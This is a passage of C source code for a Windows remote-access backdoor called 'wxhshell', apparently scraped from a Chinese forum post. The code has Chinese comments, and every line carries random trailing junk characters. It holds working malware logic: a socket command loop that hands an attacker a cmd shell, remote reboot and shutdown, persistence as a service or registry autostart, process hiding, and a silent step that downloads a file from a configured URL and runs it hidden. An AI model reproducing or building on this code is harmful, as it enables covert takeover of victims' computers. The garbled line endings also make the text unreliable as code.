  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +3s%E{  
  } 8WE{5#oi  
  else { ]yjl~3  
i)#:qAtP*  
    switch(cmd[0]) { dz~co Z9  
  UobyK3.%  
  // 帮助 LIg{J%  
  case '?': { < >UPD02  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $$:ZX  
    break; %m:m}ziLQ  
  } iU6Gp-<M ,  
  // 安装 U hIDRR  
  case 'i': { ih?^t(i  
    if(Install()) `eu9dLz H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kwc6mlw~M  
    else _gKe%J&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V]*b4nX7  
    break; @ HZKc\1  
    } iC iZJ"  
  // 卸载 b64 @s2]  
  case 'r': { JCAq8=zM  
    if(Uninstall()) cb5,P~/q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xf)|Pu  
    else Qt]Q: 9I[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =^ T\Xs;GK  
    break; ?\8?%Qk  
    } 6_N(;6kx(  
  // 显示 wxhshell 所在路径 /?'; nGq  
  case 'p': { ~b {Gz6u>  
    char svExeFile[MAX_PATH]; zE;bBwy&  
    strcpy(svExeFile,"\n\r"); DcSnia62f  
      strcat(svExeFile,ExeFile); y4+ ;z2' >  
        send(wsh,svExeFile,strlen(svExeFile),0); =@F&o4)r  
    break; +a^F\8H  
    } K'#E3={tt  
  // 重启 ;-UmY}MU  
  case 'b': { Gycm,Cy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (knp#   
    if(Boot(REBOOT)) > x IJE2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vM_:&j_?``  
    else { A)ipFB 6K  
    closesocket(wsh); |d6T/Uxo  
    ExitThread(0); ]({~,8s  
    } 4Vq%N  
    break; d\|!Hg,  
    } IHRGw  
  // 关机 O{ /q-~_  
  case 'd': { [ @4rjGwB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ytgj|@jsp  
    if(Boot(SHUTDOWN)) | >z3E z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rb3V^;i  
    else { iX3HtIBj'  
    closesocket(wsh); epgPT'^  
    ExitThread(0); %c[V  
    } vzmc}y G  
    break; aM4k *|H?  
    } D-N8<:cA  
  // 获取shell E@Ad'_H  
  case 's': { 41SGWAd#:  
    CmdShell(wsh); n@G[  
    closesocket(wsh); `Qeg   
    ExitThread(0); *{+G=d  
    break; sN5B7)Vc  
  } YtO|D  
  // 退出 %w7]@VZ  
  case 'x': { }- Wa`t7U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bu51$s?B  
    CloseIt(wsh); Afk$?wkL  
    break; )XWP\ h  
    } <I"S#M7-s  
  // 离开 "le>_Ze_>|  
  case 'q': { ^i:B+ rl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V <bd;m  
    closesocket(wsh); a5w:u5  
    WSACleanup(); *&f$K1p  
    exit(1); f47M#UC  
    break; ~/*MY  
        } Onwp-!!.  
  } QD%L0;j  
  } !fj(tPq  
!A%<#Gjt  
  // 提示信息 \_B[{e7z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^+g$iM[`f  
} 3d|9t9v  
  } :kGU,>BN  
-{ZWo:,r~q  
  return; N$[{8yil^w  
} aE2.L;Tk?  
%HJK;   
// shell模块句柄 8Ac:_Zg  
int CmdShell(SOCKET sock) -a-(r'Qc(  
{ rdJR 2  
STARTUPINFO si; p|]\P%,\  
ZeroMemory(&si,sizeof(si)); +>PX&F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /E\%>wv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AA7C$;Z15~  
PROCESS_INFORMATION ProcessInfo; S9#)A->  
char cmdline[]="cmd"; Sy 'Dp9!|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,2W8=ON  
  return 0; Gh}*q|Lz  
} " W|%~h  
Q@HopiC  
// 自身启动模式 Er{>p|n =  
int StartFromService(void)  E@b(1@  
{ d m`E!R_  
typedef struct j*vYBGD  
{ VzVc37 Z>6  
  DWORD ExitStatus; is-7 j7;  
  DWORD PebBaseAddress; tdu$pC6  
  DWORD AffinityMask; ){b@}13cF  
  DWORD BasePriority; OtNd,U.dE  
  ULONG UniqueProcessId; P ! _rEV  
  ULONG InheritedFromUniqueProcessId; d}4Y(   
}   PROCESS_BASIC_INFORMATION; >j QWn@  
c3CWRi`LE  
PROCNTQSIP NtQueryInformationProcess; )<tI!I][j  
aSnF KB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l~$+,U&XNe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PGoh1Uu  
K9up:.{QQ  
  HANDLE             hProcess; WA&!;Zq  
  PROCESS_BASIC_INFORMATION pbi; w {3<{  
*vwbgJG! *  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q1KZ5G)6GJ  
  if(NULL == hInst ) return 0; s|y "WDyx5  
BNs@n"k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jIyB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fkd+pS\9g~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mrF58Uq;A  
O*FUTZd(J  
  if (!NtQueryInformationProcess) return 0; bl&nhI)w  
", KCCis  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1 P!Yxeh  
  if(!hProcess) return 0; |M, iM]  
)O@]uY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |$ lM#Ua  
R[hzMU}KB  
  CloseHandle(hProcess); oV|4V:G q  
:x4|X8>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); waj0"u^#  
if(hProcess==NULL) return 0; BdH-9n~,  
oUQ,61H  
HMODULE hMod; .Z `av n  
char procName[255]; F7EKoDt  
unsigned long cbNeeded; $m-2Hh qZ  
#PH~1`vl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %|q>pin2  
CU@Rob}s  
  CloseHandle(hProcess); UMm!B`M  
S]Mw #O|  
if(strstr(procName,"services")) return 1; // 以服务启动 :fZ}o|t7  
2Ay* kmW  
  return 0; // 注册表启动 L"1}V  
} oldA#sA$  
':3 pq2{  
// 主模块 87 $dBb{  
int StartWxhshell(LPSTR lpCmdLine) 'm FqE n  
{ RbP6F*f  
  SOCKET wsl; _M`--.{\O[  
BOOL val=TRUE; QLvHQtzwX  
  int port=0; v,-HU&/*B  
  struct sockaddr_in door; %^4CSh  
)f[ B6Y  
  if(wscfg.ws_autoins) Install(); {E9+WFz5  
d"*uBVzXm  
port=atoi(lpCmdLine); H Y&DmE  
>_-s8t=|  
if(port<=0) port=wscfg.ws_port; =JK@z  
t4zkt!`B  
  WSADATA data; Cz\e w B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; * K D I}B>  
YQ9'0F[l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "4+ &-ms  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 93("oBd[s(  
  door.sin_family = AF_INET; N~goI#4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jjw`Dto&  
  door.sin_port = htons(port); s%nUaWp~  
Zw5Ni Xj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :8=ikwQ  
closesocket(wsl); Ln')QN  
return 1; Rg\z<wPBG  
} eg\v0Y!rI  
Lsq A**=  
  if(listen(wsl,2) == INVALID_SOCKET) { PV'x+bN5  
closesocket(wsl); lYVz 3p  
return 1; ~?4PBq  
} 42{Ew8  
  Wxhshell(wsl); %GjM(;Tk  
  WSACleanup(); %p^wZtm  
s C%&cRQD  
return 0; @5=oeOg36  
Y!~49<;  
} &=Ar  
w28o}$b`  
// 以NT服务方式启动 [')m|u~FS4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m[? E  
{ >kj`7GA  
DWORD   status = 0; Zd^rNHhA  
  DWORD   specificError = 0xfffffff; dt \TQJc~  
7 E r23Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Su 586;\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @| M|+k3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [YRz*5   
  serviceStatus.dwWin32ExitCode     = 0; T6O::o6  
  serviceStatus.dwServiceSpecificExitCode = 0; iV5yJF{ZH  
  serviceStatus.dwCheckPoint       = 0; ] bM)t<  
  serviceStatus.dwWaitHint       = 0; l4 D+Y  
X[*<NN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *W4m3Lq  
  if (hServiceStatusHandle==0) return; /[a~3^Gs^  
)M,Of Xa  
status = GetLastError(); @K\~O__  
  if (status!=NO_ERROR) 9Tg IB  
{ oRm L {UDZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MW! srTQ_  
    serviceStatus.dwCheckPoint       = 0; 7,U=Qe;  
    serviceStatus.dwWaitHint       = 0; ciFmaM.  
    serviceStatus.dwWin32ExitCode     = status; 4,bv)Im+ `  
    serviceStatus.dwServiceSpecificExitCode = specificError; oI0M%/aM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yQ_B)b  
    return; N|8P)  
  } *?5*m+  
#X%~B'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  A sQ)q  
  serviceStatus.dwCheckPoint       = 0; +DW~BS3  
  serviceStatus.dwWaitHint       = 0; \s/s7y6b+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #zG&|<hc  
} Fu SL}P  
O!m vJD  
// 处理NT服务事件,比如:启动、停止 TC @s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K{x\4  
{ $Z!`Hb  
switch(fdwControl) V@B__`y7  
{ KK1 gNC4R  
case SERVICE_CONTROL_STOP: nim*/LC[:  
  serviceStatus.dwWin32ExitCode = 0; C\S3Gs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v/Py"hQ  
  serviceStatus.dwCheckPoint   = 0; [=E  
  serviceStatus.dwWaitHint     = 0; Vr)<\h  
  { Lrta/SU*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vu)4dD!  
  } H2&@shOOQJ  
  return; %j:]^vqFA  
case SERVICE_CONTROL_PAUSE: G^~k)6v=m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z,RzN5eN  
  break; I~q#eO)  
case SERVICE_CONTROL_CONTINUE: MC?,UDNd%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _a5d?Q9Z  
  break; iWRH{mK  
case SERVICE_CONTROL_INTERROGATE: ~rlB'8j(  
  break; hLI`If/+K  
}; >7wOoK|1'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t`WB;o!  
} ||T2~Q*:y  
3 *d"B tg  
// 标准应用程序主函数 `{eyvW[Ks  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2>|dF~"  
{ ]=.\-K  
LUG;(Fko  
// 获取操作系统版本  V_C-P[2~  
OsIsNt=GetOsVer(); vqnw#U4`  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  +EFgE1w  
3 ;)>Fs;  
  // 从命令行安装 @x9a?L.48  
  if(strpbrk(lpCmdLine,"iI")) Install(); oeKHqP wg  
E'v _#FLvR  
  // 下载执行文件 ;KOLNi-B&  
if(wscfg.ws_downexe) { uXI_M)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2{]`W57_=  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3,>0a  
} _]04lGx27  
rFIqC:=  
if(!OsIsNt) { TK5K_V*7  
// 如果时win9x,隐藏进程并且设置为注册表启动 5j:0Yt  
HideProc(); A3rPt&<a  
StartWxhshell(lpCmdLine); @xQgY*f#  
} A:>01ZJ5S+  
else O>qll 6]{@  
  if(StartFromService()) aY3^C q(r  
  // 以服务方式启动 `k OD[*  
  StartServiceCtrlDispatcher(DispatchTable); .EpV;xq}  
else UUSq$~Ct  
  // 普通方式启动 K2 he4<  
  StartWxhshell(lpCmdLine); bIGHGd  
yN~dU0.G6!  
return 0; 4S,`bnmB  
}
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只看该作者 1 发表于: 2006-10-10
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